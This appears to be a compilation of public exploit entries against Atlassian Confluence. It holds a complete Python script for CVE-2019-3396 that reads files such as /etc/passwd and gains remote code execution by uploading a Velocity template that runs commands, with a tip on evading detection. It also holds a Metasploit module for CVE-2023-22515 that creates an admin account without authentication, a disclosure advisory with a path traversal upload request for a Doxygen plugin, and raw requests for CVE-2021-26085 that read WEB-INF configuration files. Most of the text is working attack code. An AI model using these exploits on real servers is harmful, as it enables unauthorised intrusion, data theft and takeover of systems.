- knowledge of where attached files are stored on the file system - if it is not default location then use first mode
to find it, should be in Confluence install directory under ./attachments subdirectory

Usage
- list /etc folder on Confluence server hosted on http://confluence.example.com
    python exploit.py -th confluence.example.com fs /etc
- get content of /etc/passwd on same server but through a proxy
    python exploit.py -th confluence.example.com -px http://127.0.0.1:8080 fs /etc/passwd
- execute 'whoami' command on the same server (this will upload a template file with payload to the server using
existing session)
    python exploit.py -th confluence.example.com rce -c JSESSIONID=ABCDEF123456789ABCDEF123456789AB "whoami"

Tested on Confluence versions:
    6.12.1

To test the exploit:
    1. Download Confluence trial version for version 6.12.1
        https://product-downloads.atlassian.com/software/confluence/downloads/atlassian-confluence-6.12.1-x64.bin
        (to find this URL go to download page for the latest version, pick LTS release Linux 64 Bit, turn on the browser
        network tools to capture HTTP traffic, click Submit, take the URL from request towards 'product-downloads' and
        change the version in URL to be 6.12.1)
        SHA256: 679b1c05cf585b92af9888099c4a312edb2c4f9f4399cf1c1b716b03c114e9e6  atlassian-confluence-6.12.1-x64.bin
    2. Run the binary to install it, for example on Ubuntu 20.04. Use "Express Install" and everything by default.
        chmod +x atlassian-confluence-6.12.1-x64.bin
        sudo ./atlassian-confluence-6.12.1-x64.bin
    3. Open the browser to configure initial installation, when you get to license window copy the server ID.
    4. Create account at https://my.atlassian.com/ and request for new trial license using server ID.
    5. Activate the license and finish the installation with default options.
    6. Create a user and login with him to go through initial user setup and get the session id for RCE part of the
    exploit.
    7. Run the exploit (see usage above).
"""

__version__ = "1.0.0"
__author__ = "46o60"

import argparse
import logging
import requests
import urllib3
from bs4 import BeautifulSoup
import re
import json
import random
import string

# script  and banner
SCRIPT_NAME = "CVE-2019-3396: Confluence exploit script"
ASCII_BANNER_TEXT = """____ ____ _  _ ____ _    _  _ ____ _  _ ____ ____ ____ 
|    |  | |\ | |___ |    |  | |___ |\ | |    |  | |__/ 
|___ |__| | \| |    |___ |__| |___ | \| |___ |__| |  \ 
                                                       
"""

# turn off requests log output
urllib3.disable_warnings()
logging.getLogger("urllib3").setLevel(logging.WARNING)


def print_banner():
    """
    Prints script ASCII banner and basic information.

    Because it is cool.
    """
    print(ASCII_BANNER_TEXT)
    print("{} v{}".format(SCRIPT_NAME, __version__))
    print("Author: {}".format(__author__))
    print()


def exit_log(logger, message):
    """
    Utility function to log exit message and finish the script.
    """
    logger.error(message)
    exit(1)


def check_cookie_format(value):
    """
    Checks if value is in format: ^[^=]+=[^=]+$
    """
    pattern = r"^[^=]+=[^=]+$"
    if not re.match(pattern, value):
        raise argparse.ArgumentTypeError("provided cookie string does not have correct format")
    return value


def parse_arguments():
    """
    Performs parsing of script arguments.
    """
    # creating parser
    parser = argparse.ArgumentParser(
        prog=SCRIPT_NAME,
        description="Exploit CVE-2019-3396 to explore file system or gain RCE through file upload."
    )

    # general script arguments
    parser.add_argument(
        "-V", "--version",
        help="displays the current version of the script",
        action="version",
        version="{name} {version}".format(name=SCRIPT_NAME, version=__version__)
    )
    parser.add_argument(
        "-v", "--verbosity",
        help="increase output verbosity, two possible levels, no verbosity with default log output and debug verbosity",
        action="count",
        default=0
    )
    parser.add_argument(
        "-sb", "--skip-banner",
        help="skips printing of the banner",
        action="store_true",
        default=False
    )
    parser.add_argument(
        "-s", "--silent",
        help="do not output results of the exploit to standard output",
        action="store_true",
        default=False
    )
    parser.add_argument(
        "-q", "--quiet",
        help="do not output any logs",
        action="store_true",
        default=False
    )

    # arguments for input
    parser.add_argument(
        "-px", "--proxy",
        help="proxy that should be used for the request, the same proxy will be used for HTTP and HTTPS"
    )
    parser.add_argument(
        "-t", "--tls",
        help="use HTTPS protocol, default behaviour is to use plain HTTP",
        action="store_true"
    )
    parser.add_argument(
        "-th", "--target-host",
        help="target hostname/domain",
        required=True
    )
    parser.add_argument(
        "-p", "--port",
        help="port where the target is listening, default ports 80 for HTTP and 443 for HTTPS"
    )

    # two different sub commands
    subparsers = parser.add_subparsers(
        title="actions",
        description="different behaviours of the script",
        help="for detail description of available action options invoke -h for each individual action",
        dest="action"
    )

    # only exploring file system by disclosure of files and directories
    parser_file_system = subparsers.add_parser(
        "fs",
        help="use the exploit to browse local file system on the target endpoint"
    )
    parser_file_system.add_argument(
        "path",
        help="target path that should be retrieved from the vulnerable server, can be path to a file or to a directory"
    )
    parser_file_system.set_defaults(func=exploit_path_traversal)

    # using file upload to deploy payload and achieve RCE
    parser_rce = subparsers.add_parser(
        "rce",
        help="use the exploit to upload a template "
    )
    parser_rce.add_argument(
        "-hd", "--home-directory",
        help="Confluence home directory on the server"
    )
    parser_rce.add_argument(
        "-c", "--cookie",
        help="cookie that should be used for the session, value passed as it is in HTTP request, for example: "
             "-c JSESSIONID=ABCDEF123456789ABCDEF123456789AB",
        type=check_cookie_format,
        required=True
    )
    parser_rce.add_argument(
        "command",
        help="target path that should be retrieved from the vulnerable server, can be path to a file or to a directory"
    )
    parser_rce.set_defaults(func=exploit_rce)

    # parsing
    arguments = parser.parse_args()

    return arguments


class Configuration:
    """
    Represents all supported configuration items.
    """

    # Parse arguments and set all configuration variables
    def __init__(self, script_args):
        self.script_arguments = script_args

        # setting input arguments
        self._proxy = self.script_arguments.proxy
        self._target_protocol = "https" if self.script_arguments.tls else "http"
        self._target_host = self.script_arguments.target_host
        self._target_port = self.script_arguments.port if self.script_arguments.port else \
            443 if self.script_arguments.tls else 80

    @staticmethod
    def get_logger(verbosity):
        """
        Prepares logger to output to stdout with appropriate verbosity.
        """
        logger = logging.getLogger()
        # default logging level
        logger.setLevel(logging.DEBUG)

        # Definition of logging to console
        ch = logging.StreamHandler()
        # specific logging level for console
        if verbosity == 0:
            ch.setLevel(logging.INFO)
        elif verbosity > 0:
            ch.setLevel(logging.DEBUG)

        # formatting
        class MyFormatter(logging.Formatter):

            default_fmt = logging.Formatter('[?] %(message)s')
            info_fmt = logging.Formatter('[+] %(message)s')
            error_fmt = logging.Formatter('[-] %(message)s')
            warning_fmt = logging.Formatter('[!] %(message)s')
            debug_fmt = logging.Formatter('>>> %(message)s')

            def format(self, record):
                if record.levelno == logging.INFO:
                    return self.info_fmt.format(record)
                elif record.levelno == logging.ERROR:
                    return self.error_fmt.format(record)
                elif record.levelno == logging.WARNING:
                    return self.warning_fmt.format(record)
                elif record.levelno == logging.DEBUG:
                    return self.debug_fmt.format(record)
                else:
                    return self.default_fmt.format(record)

        ch.setFormatter(MyFormatter())

        # adding handler
        logger.addHandler(ch)

        return logger

    # Properties
    @property
    def endpoint(self):
        if not self._target_protocol or not self._target_host or not self._target_port:
            exit_log(log, "failed to generate endpoint URL")
        return f"{self._target_protocol}://{self._target_host}:{self._target_port}"

    @property
    def remote_path(self):
        return self.script_arguments.path

    @property
    def attachment_dir(self):
        home_dir = self.script_arguments.home_directory if self.script_arguments.home_directory else \
            Exploit.DEFAULT_CONFLUENCE_INSTALL_DIR
        return f"{home_dir}{Exploit.DEFAULT_CONFLUENCE_ATTACHMENT_PATH}"

    @property
    def rce_command(self):
        return self.script_arguments.command

    @property
    def session_cookie(self):
        if not self.script_arguments.cookie:
            return None
        parts = self.script_arguments.cookie.split("=")
        return {
            parts[0]: parts[1]
        }

    @property
    def proxies(self):
        return {
            "http": self._proxy,
            "https": self._proxy
        }


class Exploit:
    """
    This class represents actual exploit towards the target Confluence server.
    """
    # used for both path traversal and RCE
    DEFAULT_VULNERABLE_ENDPOINT = "/rest/tinymce/1/macro/preview"

    # used only for RCE
    CREATE_PERSONAL_SPACE_PATH = "/rest/create-dialog/1.0/space-blueprint/create-personal-space"
    PERSONAL_SPACE_KEY_PATH = "/index.action"
    PERSONAL_SPACE_KEY_REGEX = r"^/spaces/viewspace\.action\?key=(.*?)$"
    PERSONAL_SPACE_ID_PATH = "/rest/api/space"
    PERSONAL_SPACE_KEY_PARAMETER_NAME = "spaceKey"
    HOMEPAGE_REGEX = r"/rest/api/content/([0-9]+)$"
    ATL_TOKEN_PATH = "/pages/viewpageattachments.action"
    FILE_UPLOAD_PATH = "/pages/doattachfile.action"
    # file name has no real significance, file is identified on file system by it's ID
    # (change only if you want to avoid detection)
    DEFAULT_UPLOADED_FILE_NAME = "payload_{}.vm".format(
        ''.join(random.choice(string.ascii_lowercase) for i in range(5))
    )  # the extension .vm is not really needed, remove it if you have problems uploading the template
    DEFAULT_CONFLUENCE_INSTALL_DIR = "/var/atlassian/application-data/confluence"
    DEFAULT_CONFLUENCE_ATTACHMENT_PATH = "/attachments/ver003"
    # using random name for uploaded file so it will always be first version of the file
    DEFAULT_FILE_VERSION = "1"

    def __init__(self, config):
        """
        Runs the exploit towards target_url.
        """
        self._config = config

        self._target_url = f"{self._config.endpoint}{Exploit.DEFAULT_VULNERABLE_ENDPOINT}"

        if self._config.script_arguments.action == "rce":
            self._root_url = f"{self._config.endpoint}/"
            self._create_personal_space_url = f"{self._config.endpoint}{Exploit.CREATE_PERSONAL_SPACE_PATH}"
            self._personal_space_key_url = f"{self._config.endpoint}{Exploit.PERSONAL_SPACE_KEY_PATH}"

            # Following data will be dynamically created while exploit is running
            self._space_key = None
            self._personal_space_id_url = None
            self._space_id = None
            self._homepage_id = None
            self._atl_token_url = None
            self._atl_token = None
            self._upload_url = None
            self._file_id = None

    def generate_payload_location(self):
        """
        Generates location on file system for uploaded attachment based on Confluence Ver003 scheme.

        See more here: https://confluence.atlassian.com/doc/hierarchical-file-system-attachment-storage-704578486.html
        """
        if not self._space_id or not self._homepage_id or not self._file_id:
            exit_log(log, "cannot generate payload location without space, homepage and file ID")

        space_folder_one = str(int(self._space_id[-3:]) % 250)
        space_folder_two = str(int(self._space_id[-6:-3]) % 250)
        space_folder_three = self._space_id
        page_folder_one = str(int(self._homepage_id[-3:]) % 250)
        page_folder_two = str(int(self._homepage_id[-6:-3]) % 250)
        page_folder_three = self._homepage_id
        file_folder = self._file_id
        version = Exploit.DEFAULT_FILE_VERSION

        payload_location = f"{self._config.attachment_dir}/" \
                           f"{space_folder_one}/{space_folder_two}/{space_folder_three}/"\
                           f"{page_folder_one}/{page_folder_two}/{page_folder_three}/" \
                           f"{file_folder}/{version}"
        log.debug(f"generated payload location: {payload_location}")

        return payload_location

    def path_traversal(self, target_remote_path, decode_output=False):
        """
        Uses vulnerability in _template parameter to achieve path traversal.

        Args:
            target_remote_path (string): path on local file system of the target application
            decode_output (bool): set to True if output of the file will be character codes separated by new lines,
                                    used with RCE
        """
        post_data = {
            "contentId": str(random.randint(1, 10000)),
            "macro": {
                "body": "",
                "name": "widget",
                "params": {
                    "_template": f"file://{target_remote_path}",
                    "url": "https://www.youtube.com/watch?v=" + ''.join(random.choice(
                        string.ascii_lowercase + string.ascii_uppercase + string.digits) for i in range(11))
                }
            }
        }

        log.info("sending request towards vulnerable endpoint with payload in '_template' parameter")
        response = requests.post(
            self._target_url,
            headers={
                "Content-Type": "application/json; charset=utf-8"
            },
            json=post_data,
            proxies=self._config.proxies,
            verify=False,
            allow_redirects=False
        )

        # check if response was proper...
        if not response.status_code == 200:
            log.debug(f"response code: {response.status_code}")
            exit_log(log, "exploit failed")

        page_content = response.content
        # response is HTML
        soup = BeautifulSoup(page_content, features="html.parser")

        # if div element with class widget-error is returned, that means the exploit worked but it failed to retrieve
        # the requested path
        error_element = soup.find_all("div", "widget-error")
        if error_element:
            log.warning("failed to retrieve target path on the system")
            log.warning("target path does not exist or application does not have appropriate permissions to view it")
            return ""
        else:
            # otherwise parse out the actual response (file content or directory listing)
            output_element = soup.find_all("div", "wiki-content")

            if not output_element:
                exit_log(log, "application did not return appropriate HTML element")
            if not len(output_element) == 1:
                log.warning("application unexpectedly returned multiple HTML elements, using the first one")
            output_element = output_element[0]

            log.debug("extracting HTML element value and stripping the leading and trailing spaces")
            # output = output_element.string.strip()
            output = output_element.decode_contents().strip()

            if "The macro 'widget' is unknown. It may have been removed from the system." in output:
                exit_log(log, "widget seems to be disabled on system, target most likely is not vulnerable")

            if not self._config.script_arguments.silent:
                if decode_output:
                    parsed_output = ""
                    p = re.compile(r"^([0-9]+)")
                    for line in output.split("\n"):
                        r = p.match(line)
                        if r:
                            parsed_output += chr(int(r.group(1)))
                    print(parsed_output.strip())
                else:
                    print(output)

            return output

    def find_personal_space_key(self):
        """
        Makes request that will return personal space key in the response.
        """
        log.debug("checking if user has personal space")
        response = requests.get(
            self._root_url,
            cookies=self._config.session_cookie,
            proxies=self._config.proxies,
            verify=False,
        )
        page_content = response.text
        if "Add personal space" in page_content:
            log.info(f"user does not have personal space, creating it now...")

            response = requests.post(
                self._create_personal_space_url,
                headers={
                    "Content-Type": "application/json"
                },
                cookies=self._config.session_cookie,
                proxies=self._config.proxies,
                verify=False,
                json={
                    "spaceUserKey": ""
                }
            )

            if not response.status_code == 200:
                log.debug(f"response code: {response.status_code}")
                exit_log(log, "failed to create personal space")

            log.debug(f"personal space created")
            response_data = response.json()
            self._space_key = response_data.get("key")
        else:
            log.info("sending request to find personal space key")
            response = requests.get(
                self._personal_space_key_url,
                cookies=self._config.session_cookie,
                proxies=self._config.proxies,
                verify=False,
                allow_redirects=False
            )

            # check if response was proper...
            if not response.status_code == 200:
                log.debug(f"response code: {response.status_code}")
                exit_log(log, "failed to get personal space key")

            page_content = response.content
            # response is HTML
            soup = BeautifulSoup(page_content, features="html.parser")

            personal_space_link_element = soup.find("a", id="view-personal-space-link")
            if not personal_space_link_element or not personal_space_link_element.has_attr("href"):
                exit_log(log, "failed to find personal space link in the response, does the user have personal space?")
            path = personal_space_link_element["href"]
            p = re.compile(Exploit.PERSONAL_SPACE_KEY_REGEX)
            r = p.match(path)
            if r:
                self._space_key = r.group(1)
            else:
                exit_log(log, "failed to find personal space key")

        log.debug(f"personal space key: {self._space_key}")
        self._personal_space_id_url = f"{self._config.endpoint}{Exploit.PERSONAL_SPACE_ID_PATH}?" \
                                      f"{Exploit.PERSONAL_SPACE_KEY_PARAMETER_NAME}={self._space_key}"
        log.debug(f"generated personal space id url: {self._personal_space_id_url}")

    def find_personal_space_id_and_homepage_id(self):
        """
        Makes request that will return personal space ID and homepage ID in the response.
        """
        if self._personal_space_id_url is None:
            exit_log(log, f"personal space id url is missing, did you call exploit functions in correct order?")

        log.info("sending request to find personal space ID and homepage")
        response = requests.get(
            self._personal_space_id_url,
            cookies=self._config.session_cookie,
            proxies=self._config.proxies,
            verify=False,
            allow_redirects=False
        )

        # check if response was proper...
        if not response.status_code == 200:
            log.debug(f"response code: {response.status_code}")
            exit_log(log, "failed to get personal space key")

        page_content = response.content
        # response is JSON
        data = json.loads(page_content)

        if "results" not in data:
            exit_log(log, "failed to find 'result' section in json output")
        items = data["results"]
        if type(items) is not list or len(items) == 0:
            exit_log(log, "no results for personal space id")
        personal_space_data = items[0]
        if "id" not in personal_space_data:
            exit_log(log, "failed to find ID in personal space data")
        self._space_id = str(personal_space_data["id"])
        log.debug(f"found space id: {self._space_id}")
        if "_expandable" not in personal_space_data:
            exit_log(log, "failed to find '_expandable' section in personal space data")
        personal_space_expandable_data = personal_space_data["_expandable"]
        if "homepage" not in personal_space_expandable_data:
            exit_log(log, "failed to find homepage in personal space expandable data")
        homepage_path = personal_space_expandable_data["homepage"]
        p = re.compile(Exploit.HOMEPAGE_REGEX)
        r = p.match(homepage_path)
        if r:
            self._homepage_id = r.group(1)
            log.debug(f"found homepage id: {self._homepage_id}")
            self._atl_token_url = f"{self._config.endpoint}{Exploit.ATL_TOKEN_PATH}?pageId={self._homepage_id}"
            log.debug(f"generated atl token url: {self._atl_token_url}")
            self._upload_url = f"{self._config.endpoint}{Exploit.FILE_UPLOAD_PATH}?pageId={self._homepage_id}"
            log.debug(f"generated upload url: {self._upload_url}")
        else:
            exit_log(log, "failed to find homepage id, homepage path has incorrect format")

    def get_csrf_token(self):
        """
        Makes request to get the current CSRF token for the session.
        """
        if self._atl_token_url is None:
            exit_log(log, f"atl token url is missing, did you call exploit functions in correct order?")

        log.info("sending request to find CSRF token")
        response = requests.get(
            self._atl_token_url,
            cookies=self._config.session_cookie,
            proxies=self._config.proxies,
            verify=False,
            allow_redirects=False
        )

        # check if response was proper...
        if not response.status_code == 200:
            log.debug(f"response code: {response.status_code}")
            exit_log(log, "failed to get personal space key")

        page_content = response.content
        # response is HTML
        soup = BeautifulSoup(page_content, features="html.parser")

        atl_token_element = soup.find("input", {"name": "atl_token"})
        if not atl_token_element.has_attr("value"):
            exit_log(log, "failed to find value for atl_token")
        self._atl_token = atl_token_element["value"]
        log.debug(f"found CSRF token: {self._atl_token}")

    def upload_template(self):
        """
        Makes multipart request to upload the template file to the server.
        """
        log.info("uploading template to server")
        if not self._atl_token:
            exit_log(log, "cannot upload a file without CSRF token")
        if self._upload_url is None:
            exit_log(log, f"upload url is missing, did you call exploit functions in correct order?")

        # Velocity template here executes command and then captures the output. Here the output is generated by printing
        # character codes one by one in each line. This can be improved for sure but did not have time to investigate
        # why techniques from James Kettle's awesome research paper 'Server-Side Template Injection:RCE for the modern
        # webapp' was not working properly. This gets decoded on our python client later.
        template = f"""#set( $test = "test" )
#set($ex = $test.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("{self._config.script_arguments.command}"))
#set($exout = $ex.waitFor())
#set($out = $ex.getInputStream())
#foreach($i in [1..$out.available()])
#set($ch = $out.read())
$ch
#end"""

        log.debug(f"uploading template payload under name {Exploit.DEFAULT_UPLOADED_FILE_NAME}")
        parts = {
            "atl_token": (None, self._atl_token),
            "file_0": (Exploit.DEFAULT_UPLOADED_FILE_NAME, template),
            "confirm": "Attach"
        }
        response = requests.post(
            self._upload_url,
            cookies=self._config.session_cookie,
            proxies=self._config.proxies,
            verify=False,
            files=parts
        )

        # for successful upload first a 302 response needs to happen then 200 page is returned with file ID
        if response.status_code == 403:
            exit_log(log, "got 403, probably problem with CSRF token")
        if not len(response.history) == 1 or not response.history[0].status_code == 302:
            exit_log(log, "failed to upload the payload")

        page_content = response.content

        if "Upload Failed" in str(page_content):
            exit_log(log, "failed to upload template")

        # response is HTML
        soup = BeautifulSoup(page_content, features="html.parser")

        file_link_element = soup.find("a", "filename", {"title": Exploit.DEFAULT_UPLOADED_FILE_NAME})
        if not file_link_element.has_attr("data-linked-resource-id"):
            exit_log(log, "failed to find data-linked-resource-id attribute (file ID) for uploaded file link")
        self._file_id = file_link_element["data-linked-resource-id"]
        log.debug(f"found file ID: {self._file_id}")


def exploit_path_traversal(config):
    """
    This sends one request towards vulnerable server to either get local file content or directory listing.
    """
    log.debug("running path traversal exploit")

    exploit = Exploit(config)
    exploit.path_traversal(config.remote_path)


def exploit_rce(config):
    """This executes multiple steps to gain RCE. Requires a session token.

    Steps:
        1. find personal space key for the user
        2. find personal space ID and homepage ID for the user
        3. get CSRF token (generated per session)
        4. upload template file with Java code (involves two requests, first one is 302 redirection)
        5. use path traversal part of exploit to load and execute local template file
        6. profit
    """
    log.debug("running RCE exploit")

    exploit = Exploit(config)
    exploit.find_personal_space_key()
    exploit.find_personal_space_id_and_homepage_id()
    exploit.get_csrf_token()
    exploit.upload_template()
    payload_location = exploit.generate_payload_location()
    exploit.path_traversal(payload_location, decode_output=True)


if __name__ == "__main__":
    # parse arguments and load all configuration items
    script_arguments = parse_arguments()
    log = Configuration.get_logger(script_arguments.verbosity)

    configuration = Configuration(script_arguments)

    # printing banner
    if not configuration.script_arguments.skip_banner:
        print_banner()

    if script_arguments.quiet:
        log.disabled = True

    log.debug("finished parsing CLI arguments")
    log.debug("configuration was loaded successfully")
    log.debug("starting exploit")

    # disabling warning about trusting self sign certificate from python requests
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    # run appropriate function depending on mode
    configuration.script_arguments.func(configuration)

    log.debug("done!")
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Confluence Data Center and Server Authentication Bypass via Broken Access Control',
        'Description' => %q{
          This module exploits a broken access control vulnerability in Atlassian Confluence servers leading to an authentication bypass.
          A specially crafted request can be create new admin account without authentication on the target Atlassian server.
        },
        'Author' => [
          'Unknown', # exploited in the wild
          'Emir Polat' # metasploit module
        ],
        'References' => [
          ['CVE', '2023-22515'],
          ['URL', 'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-22515'],
          ['URL', 'https://attackerkb.com/topics/Q5f0ItSzw5/cve-2023-22515/rapid7-analysis']
        ],
        'DisclosureDate' => '2023-10-04',
        'DefaultOptions' => {
          'RPORT' => 8090
        },
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),
      OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),
      OptString.new('NEW_EMAIL', [true, 'E-mail to be used when creating a new user with admin privileges', Faker::Internet.email])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/login.action')
    )
    return Exploit::CheckCode::Unknown unless res
    return Exploit::CheckCode::Safe unless res.code == 200

    poweredby = res.get_xml_document.xpath('//ul[@id="poweredby"]/li[@class="print-only"]/text()').first&.text
    return Exploit::CheckCode::Safe unless poweredby =~ /Confluence (\d+(\.\d+)*)/

    confluence_version = Rex::Version.new(Regexp.last_match(1))

    vprint_status("Detected Confluence version: #{confluence_version}")

    if confluence_version.between?(Rex::Version.new('8.0.0'), Rex::Version.new('8.3.2')) ||
       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.2')) ||
       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.1'))
      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")
    end

    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")
  end

  def run
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/server-info.action'),
      'vars_get' => {
        'bootstrapStatusProvider.applicationConfig.setupComplete' => 'false'
      }
    )

    return fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Version vulnerable but setup is already completed') unless res&.code == 302 || res&.code == 200

    print_good('Found server-info.action! Trying to ignore setup.')

    created_user = create_admin_user

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup/finishsetup.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      }
    )

    return fail_with(Msf::Exploit::Failure::NoAccess, 'The admin user could not be created. Try a different username.') unless created_user

    print_warning('Admin user was created but setup could not be completed.') unless res&.code == 200

    create_credential({
      workspace_id: myworkspace_id,
      origin_type: :service,
      module_fullname: fullname,
      username: datastore['NEW_USERNAME'],
      private_type: :password,
      private_data: datastore['NEW_PASSWORD'],
      service_name: 'Atlassian Confluence',
      address: datastore['RHOST'],
      port: datastore['RPORT'],
      protocol: 'tcp',
      status: Metasploit::Model::Login::Status::UNTRIED
    })

    print_good("Admin user was created successfully. Credentials: #{datastore['NEW_USERNAME']} - #{datastore['NEW_PASSWORD']}")
    print_good("Now you can login as administrator from: http://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}login.action")
  end

  def create_admin_user
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'setup/setupadministrator.action'),
      'headers' => {
        'X-Atlassian-Token' => 'no-check'
      },
      'vars_post' => {
        'username' => datastore['NEW_USERNAME'],
        'fullName' => 'New Admin',
        'email' => datastore['NEW_EMAIL'],
        'password' => datastore['NEW_PASSWORD'],
        'confirm' => datastore['NEW_PASSWORD'],
        'setup-next-button' => 'Next'
      }
    )
    res&.code == 302
  end
end
            
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        AppFusions Doxygen for Atlassian Confluence
Vendor URL:     www.appfusions.com
Type:           Path Traversal [CWE-22]
Date found:     2016-06-23
Date published: -
CVSSv3 Score:   6.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)
CVE:            -


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
AppFusions Doxygen for Atlassian Confluence v1.3.0
older versions may be affected too.


4. INTRODUCTION
===============
With Doxygen in Confluence, you can embed full-structure code documentation:
-Doxygen blueprint in Confluence to allow Doxygen archive imports
-Display documentation from annotated sources such as Java (i.e., JavaDoc),
 C++, Objective-C, C#, C, PHP, Python, IDL (Corba, Microsoft, and
UNO/OpenOffice
 flavors), Fortran, VHDL, Tcl, D in Confluence.
-Navigation supports code structure (classes, hierarchies, files), element
 dependencies, inheritance and collaboration diagrams.
-Search documentation from within Confluence
-Restrict access to who can see/add what
-Doxygen in JIRA also available

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The application offers the functionality to import zipped Doxygen
documentations via a file upload to make them available within a
Confluence page. However the application does not properly validate the
"tempId" parameter, which represents the directory where the contents of
the uploaded file will be extracted and stored to. This leads to a path
traversal vulnerability when "/../" sequences are used as part of the
"tempId" parameter. Since the contents of the uploaded file are
extracted to the traversed directory, this vulnerability could also lead
to Remote Code Execution.

In DoxygenUploadServlet.java (lines 63-64) the "tempId" parameter is
read as part of a GET request to "/plugins/servlet/doxygen/upload" and
afterwards used in a "getTemporaryDirectory()" call:

String tempId = request.getParameter("tempId");
String destination =
this.doxygenManager.getTemporaryDirectory(tempId).getAbsolutePath();

The "getTemporaryDirectory()" function is defined in
DefaultDoxyGenManager.java (lines 38-41) and constructs a file object
based on the "java.io.tmpdir" variable, the static string
"/doxygen-temp/", the user-supplied "tempId" and a file separator in
between all parts:

public File getTemporaryDirectory(String tempId) {
    File file = new File(System.getProperty("java.io.tmpdir") +
File.separator + "doxygen-temp" + File.separator + tempId);
    return file;
}

In the subsequent code the uploaded file as represented by the "file"
HTTP POST parameter to "/plugins/servlet/doxygen/upload" is extracted to
the directory which was built using the "file" object.

The following Proof-of-Concept triggers this vulnerability by uploading
a zipped file, which will be extracted to "/home/confluence" by the
application: 

POST
/plugins/servlet/doxygen/upload?tempId=/../../../../../../home/confluence
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Length: 966
Content-Type: multipart/form-data;
boundary=---------------------------62841490314755966452122422550
Cookie: doc-sidebar=300px; doxygen_width=256;
JSESSIONID=75A487B49F38A536358C728B1BE5A9E1
Connection: close

-----------------------------62841490314755966452122422550
Content-Disposition: form-data; name="file"; filename="Traversal.zip"
Content-Type: application/zip

[zipped data]
-----------------------------98001232218371736091795669059--


6. RISK
=======
To successfully exploit this vulnerability the attacker must be
authenticated and must have the rights within Atlassian Confluence to
upload Doxygen files (default).

The vulnerability allows remote attackers to upload arbitrary files to
any destination directory writeable by the user of the web server, which
could lead to Remote Code Execution.


7. SOLUTION
===========
Update to AppFusions Doxygen for Atlassian Confluence v1.3.4


8. REPORT TIMELINE (DD/MM/YYYY)
===============================
23/06/2016: Discovery of the vulnerability
23/06/2016: Notified vendor via public security mail address
29/06/2016: No response, sent out another notification w/o details
29/06/2016: Response from vendor who asked for full details
30/06/2016: Sent over preliminary advisory with full details
03/07/2016: No response from vendor, sent out a status request
03/07/2016: Vendor temporarily removes product from website
11/07/2016: Vendor releases v1.3.1 which fixes the issue
20/11/2016: Advisory released
            
# Exploit Title: Atlassian Confluence 7.12.2 - Pre-Authorization Arbitrary File Read
# Date: 2021-10-05
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.atlassian.com/
# Software Link: https://www.atlassian.com/software/confluence/download-archives
# Version: version < 7.4.10 and 7.5.0 ≤ version < 7.12.3
# Tested on: Kali Linux & Windows 10
# CVE : CVE-2021-26085

POC #1 - web.xml

GET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #2 - seraph-config.xml

GET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

POC #3 - pom.properties

GET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1
